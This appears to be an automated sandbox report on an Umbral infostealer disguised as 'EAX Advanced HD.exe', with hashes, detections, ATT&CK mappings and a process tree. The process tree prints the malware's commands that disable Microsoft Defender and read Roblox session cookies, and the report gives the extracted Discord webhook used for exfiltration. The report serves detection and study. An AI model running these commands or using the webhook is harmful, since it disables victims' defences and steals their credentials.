Overview
overview
10Static
static
3EAX Advanc...HD.exe
windows10-2004-x64
10EAX Advanc...HD.exe
windows11-ltsc_2024-x64
10EAX Advanc...I2.dll
windows10-2004-x64
1EAX Advanc...I2.dll
windows11-ltsc_2024-x64
1EAX Advanc...di.dll
windows10-2004-x64
1EAX Advanc...di.dll
windows11-ltsc_2024-x64
1EAX Advanc...32.dll
windows10-2004-x64
3EAX Advanc...32.dll
windows11-ltsc_2024-x64
3EAX Advanc...64.dll
windows10-2004-x64
1EAX Advanc...64.dll
windows11-ltsc_2024-x64
1EAX Advanc....dylib
macos-10.15-amd64
1EAX Advanc...te.dll
windows10-2004-x64
3EAX Advanc...te.dll
windows11-ltsc_2024-x64
3EAX Advanc...64.dll
windows10-2004-x64
1EAX Advanc...64.dll
windows11-ltsc_2024-x64
1Resubmissions
14/09/2026, 14:11
260914-rhsj9ssarb1014/09/2026, 14:08
260914-rfvlvadn7w1014/09/2026, 13:03
260914-qacneacr7w10Analysis
- max time kernel
150s - max time network
117s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
14/09/2026, 14:11
Static task
static1
Behavioral task
behavioral1
Sample
EAX Advanced HD/EAX Advanced HD.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
EAX Advanced HD/EAX Advanced HD.exe
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral3
Sample
EAX Advanced HD/Guna.UI2.dll
Resource
win10v2004-20260911-en
Behavioral task
behavioral4
Sample
EAX Advanced HD/Guna.UI2.dll
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral5
Sample
EAX Advanced HD/Melanchall.DryWetMidi.dll
Resource
win10v2004-20260911-en
Behavioral task
behavioral6
Sample
EAX Advanced HD/Melanchall.DryWetMidi.dll
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral7
Sample
EAX Advanced HD/Melanchall_DryWetMidi_Native32.dll
Resource
win10v2004-20260911-en
Behavioral task
behavioral8
Sample
EAX Advanced HD/Melanchall_DryWetMidi_Native32.dll
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral9
Sample
EAX Advanced HD/Melanchall_DryWetMidi_Native64.dll
Resource
win10v2004-20260911-en
Behavioral task
behavioral10
Sample
EAX Advanced HD/Melanchall_DryWetMidi_Native64.dll
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral11
Sample
EAX Advanced HD/Melanchall_DryWetMidi_Native64.dylib
Resource
macos-20260911-en
Behavioral task
behavioral12
Sample
EAX Advanced HD/VoicemeeterRemote.dll
Resource
win10v2004-20260911-en
Behavioral task
behavioral13
Sample
EAX Advanced HD/VoicemeeterRemote.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral14
Sample
EAX Advanced HD/VoicemeeterRemote64.dll
Resource
win10v2004-20260911-en
Behavioral task
behavioral15
Sample
EAX Advanced HD/VoicemeeterRemote64.dll
Resource
win11ltsc2024-20260911-en
General
- Target EAX Advanced HD/EAX Advanced HD.exe
- Size 2.2MB
- Sample260914-rhsj9ssarb
- SHA256 925c8fa085c56e92bf3762409cbddf9750bea788a8dfb88edd3725a9e39add64
- MD5 491a15080289497abb1b12893e310e86
- SHA1 85e77dabbfe2103aaf45efc370ff02d5d09e76da
- SHA512 7464b669d81676aaad199a97895b96bc5457c2b63bed3a4d54c52b1a723cbdf684786b25b73ac46c6f533fadbc15b5e4d7177ae77c8baab7cd81b0ae4fe7b324
- SSDEEP 49152:2uASjAXALPTnTYlr1YFflCQmNzg0hrB2sQSUblhxPYfEHIwo7S:2jSjyALP71FflC7ZTfdev+0f
- TLSH T172B58DA90F1148E6CC26FD343A8A04156DF4BFFDB8EDB7AAC9D5F0919411074FA929C8
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
umbral
-
v1.3
-
https://discord.com/api/webhooks/1548723145387544596/arUdv6tkx5u1Qh42y_3rSjjSl6kw6I3-oD3L5zJDhUHxHXwHxTUy7VRKR2Akg6d4DNck
Signatures
- Detects Umbral payload 4 IoCs
resource yara_rule behavioral2/files/0x000c00000001c583-18.dat family_umbral behavioral2/files/0x000c00000001c583-18.dat family_umbral_obfuscated behavioral2/memory/5904-20-0x000002181E530000-0x000002181E570000-memory.dmp family_umbral behavioral2/memory/5904-20-0x000002181E530000-0x000002181E570000-memory.dmp family_umbral_obfuscated - Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4368 powershell.exe 3516 powershell.exe 1700 powershell.exe 4108 powershell.exe - Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
pid Process 3516 powershell.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts Umbral.exe - Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
pid Process 3516 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 788 EAX Advanced HD (1).exe 5904 Umbral.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 1 discord.com - Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4228 cmd.exe - Program crash 1 IoCs
pid pid_target Process procid_target 4696 788 WerFault.exe 87 - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EAX Advanced HD (1).exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4228 cmd.exe 5480 PING.EXE - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2872 wmic.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 5480 PING.EXE - Suspicious behavior: EnumeratesProcesses 26 IoCs
pid Process 4368 powershell.exe 4368 powershell.exe 3516 powershell.exe 3516 powershell.exe 1700 powershell.exe 1700 powershell.exe 4144 powershell.exe 4144 powershell.exe 3440 wmic.exe 3440 wmic.exe 3440 wmic.exe 3440 wmic.exe 6016 wmic.exe 6016 wmic.exe 6016 wmic.exe 6016 wmic.exe 3344 wmic.exe 3344 wmic.exe 3344 wmic.exe 3344 wmic.exe 4108 powershell.exe 4108 powershell.exe 2872 wmic.exe 2872 wmic.exe 2872 wmic.exe 2872 wmic.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5904 Umbral.exe Token: SeDebugPrivilege 4368 powershell.exe Token: SeIncreaseQuotaPrivilege 4368 powershell.exe Token: SeSecurityPrivilege 4368 powershell.exe Token: SeTakeOwnershipPrivilege 4368 powershell.exe Token: SeLoadDriverPrivilege 4368 powershell.exe Token: SeSystemProfilePrivilege 4368 powershell.exe Token: SeSystemtimePrivilege 4368 powershell.exe Token: SeProfSingleProcessPrivilege 4368 powershell.exe Token: SeIncBasePriorityPrivilege 4368 powershell.exe Token: SeCreatePagefilePrivilege 4368 powershell.exe Token: SeBackupPrivilege 4368 powershell.exe Token: SeRestorePrivilege 4368 powershell.exe Token: SeShutdownPrivilege 4368 powershell.exe Token: SeDebugPrivilege 4368 powershell.exe Token: SeSystemEnvironmentPrivilege 4368 powershell.exe Token: SeRemoteShutdownPrivilege 4368 powershell.exe Token: SeUndockPrivilege 4368 powershell.exe Token: SeManageVolumePrivilege 4368 powershell.exe Token: 33 4368 powershell.exe Token: 34 4368 powershell.exe Token: 35 4368 powershell.exe Token: 36 4368 powershell.exe Token: SeDebugPrivilege 3516 powershell.exe Token: SeDebugPrivilege 1700 powershell.exe Token: SeDebugPrivilege 4144 powershell.exe Token: SeIncreaseQuotaPrivilege 3440 wmic.exe Token: SeSecurityPrivilege 3440 wmic.exe Token: SeTakeOwnershipPrivilege 3440 wmic.exe Token: SeLoadDriverPrivilege 3440 wmic.exe Token: SeSystemProfilePrivilege 3440 wmic.exe Token: SeSystemtimePrivilege 3440 wmic.exe Token: SeProfSingleProcessPrivilege 3440 wmic.exe Token: SeIncBasePriorityPrivilege 3440 wmic.exe Token: SeCreatePagefilePrivilege 3440 wmic.exe Token: SeBackupPrivilege 3440 wmic.exe Token: SeRestorePrivilege 3440 wmic.exe Token: SeShutdownPrivilege 3440 wmic.exe Token: SeDebugPrivilege 3440 wmic.exe Token: SeSystemEnvironmentPrivilege 3440 wmic.exe Token: SeRemoteShutdownPrivilege 3440 wmic.exe Token: SeUndockPrivilege 3440 wmic.exe Token: SeManageVolumePrivilege 3440 wmic.exe Token: 33 3440 wmic.exe Token: 34 3440 wmic.exe Token: 35 3440 wmic.exe Token: 36 3440 wmic.exe Token: SeIncreaseQuotaPrivilege 3440 wmic.exe Token: SeSecurityPrivilege 3440 wmic.exe Token: SeTakeOwnershipPrivilege 3440 wmic.exe Token: SeLoadDriverPrivilege 3440 wmic.exe Token: SeSystemProfilePrivilege 3440 wmic.exe Token: SeSystemtimePrivilege 3440 wmic.exe Token: SeProfSingleProcessPrivilege 3440 wmic.exe Token: SeIncBasePriorityPrivilege 3440 wmic.exe Token: SeCreatePagefilePrivilege 3440 wmic.exe Token: SeBackupPrivilege 3440 wmic.exe Token: SeRestorePrivilege 3440 wmic.exe Token: SeShutdownPrivilege 3440 wmic.exe Token: SeDebugPrivilege 3440 wmic.exe Token: SeSystemEnvironmentPrivilege 3440 wmic.exe Token: SeRemoteShutdownPrivilege 3440 wmic.exe Token: SeUndockPrivilege 3440 wmic.exe Token: SeManageVolumePrivilege 3440 wmic.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 2132 wrote to memory of 788 2132 EAX Advanced HD.exe 87 PID 2132 wrote to memory of 5904 2132 EAX Advanced HD.exe 88 PID 5904 wrote to memory of 908 5904 Umbral.exe 91 PID 5904 wrote to memory of 4368 5904 Umbral.exe 94 PID 5904 wrote to memory of 3516 5904 Umbral.exe 97 PID 5904 wrote to memory of 1700 5904 Umbral.exe 99 PID 5904 wrote to memory of 4144 5904 Umbral.exe 101 PID 5904 wrote to memory of 3440 5904 Umbral.exe 103 PID 5904 wrote to memory of 6016 5904 Umbral.exe 106 PID 5904 wrote to memory of 3344 5904 Umbral.exe 108 PID 5904 wrote to memory of 4108 5904 Umbral.exe 110 PID 5904 wrote to memory of 2872 5904 Umbral.exe 112 PID 5904 wrote to memory of 4228 5904 Umbral.exe 115 PID 4228 wrote to memory of 5480 4228 cmd.exe 117 - Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 908 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\EAX Advanced HD\EAX Advanced HD.exe"C:\Users\Admin\AppData\Local\Temp\EAX Advanced HD\EAX Advanced HD.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2132 -
C:\Users\Admin\AppData\Roaming\EAX Advanced HD (1).exe"C:\Users\Admin\AppData\Roaming\EAX Advanced HD (1).exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:788 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 788 -s 9323⤵
- Program crash
PID:4696
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-
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C:\Users\Admin\AppData\Roaming\Umbral.exe"C:\Users\Admin\AppData\Roaming\Umbral.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5904 -
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbral.exe"3⤵
- Views/modifies file attributes
PID:908
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbral.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4368
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3516
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1700
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4144
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3440
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory3⤵
- Suspicious behavior: EnumeratesProcesses
PID:6016
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3344
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4108
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name3⤵
- Detects videocard installed
- Suspicious behavior: EnumeratesProcesses
PID:2872
-
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Umbral.exe" && pause3⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:4228 -
C:\Windows\system32\PING.EXEping localhost4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:5480
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 788 -ip 7881⤵PID:2404
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
2Disable or Modify Tools
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
- MD5 acbc65123954839a819fa2495d239bf7
- SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
- SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
- TLSH T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 952B
- SHA256 6acc5ca8ed17a66a6fbc3181c5831894af713d8ebd598af1e330ec1ea4145d2b
- MD5 3145bb8fe352142f4835f1517c3c4630
- SHA1 757afcda1b976b480490bc898157e93aa9ec5823
- SHA512 0749d7ab22cc3950960193cd0d6ce2531af11fe2342369e589e427893faaee28c3c44bc78032f15bd2dcd92dd507b9a1547fa36fa720c5d94584fafade4f875b
- TLSH T166116633F3CC8624DC59403650CEAD1136B68BCB40DECE6B7B80D154B42F689DF611A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 aef8b020212d19e8c6e52e5f91f96126439e9399bc7e0a9ef369ab991df7b2fa
- MD5 4d8c99ec83cd2a6919efa144d162b027
- SHA1 aa79e7a4511aa03d04a00461627392e33733308a
- SHA512 e2c555eaa487db38d46c7c71c27955d64337d43d856b29f38c5204517b0a26ce2ab04a2b516a42882338f09be09f9a5f7fedfb1e1071c4b92bac40dc7ef7fd09
- TLSH T165215733F3CC8624CC9A403650CEAC1036B687DB419EDF6BBB84D154A43F599DF61260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4t2fmvt5.w3u.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\EAX Advanced HD (1).exe
- Size 1.9MB
- SHA256 cb04393bcda0b970e7c89b256a5b75f8794c6ce4c0486da2ae7964b7aec0fa23
- MD5 493ceb32d3bb1dcf4c1d83ef0c4a88c1
- SHA1 7fe86eff8baa3b38c60165fc8adec88fc51db800
- SHA512 7a7c37b9ff4587462281bd46f845bcd8f0b7821c90934f79cb6bd204bd5ad69725eef8559f52618fc901e655019d0a1195a3f8f5a44184320991aee15fd96c6d
- SSDEEP 49152:uxijeuxgaMj3XRD+uj3H2Cuk1+Lda3Wvho0o5c0XWzoZsCKIrij:uxije0DMj3XZ+ujX2Cuk1+Lda3Wvhoal
- TLSH T1509538D2E94485D5FE2E07B2A0279DB016A33D7EEDF4A49D68C9B82615B3243143FC1B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Umbral.exe
- Size 227KB
- SHA256 ef2713a189dfbdda57fa07e4c1bc88e3a1d1a08fdc7fe7f929142656ce90679b
- MD5 fec4e0967025d0dda3ae2191c720fd7f
- SHA1 b8636dad81c2d56dc1bb82afed87b9b29728e3a8
- SHA512 131f7ecd3ec6754db96a344874fc3fb5494783430157142515bd9d878993ddbd159f23587237329ec4548f4af799e301d86c5992bf85e33b623218cfd8571b5a
- SSDEEP 6144:+loZM9rIkd8g+EtXHkv/iD4J6M/lTwk7kiTlwsJRUZb8e1mdi:ooZOL+EP8J6M/lTwk7kiTlwsJ6j
- TLSH T160346B5933B88F17E25F8BBDD5B1148F87B1F103E90AF78E0C8895E82411B42E959E57
- MD5 SHA1 SHA512 SSDEEP TLSH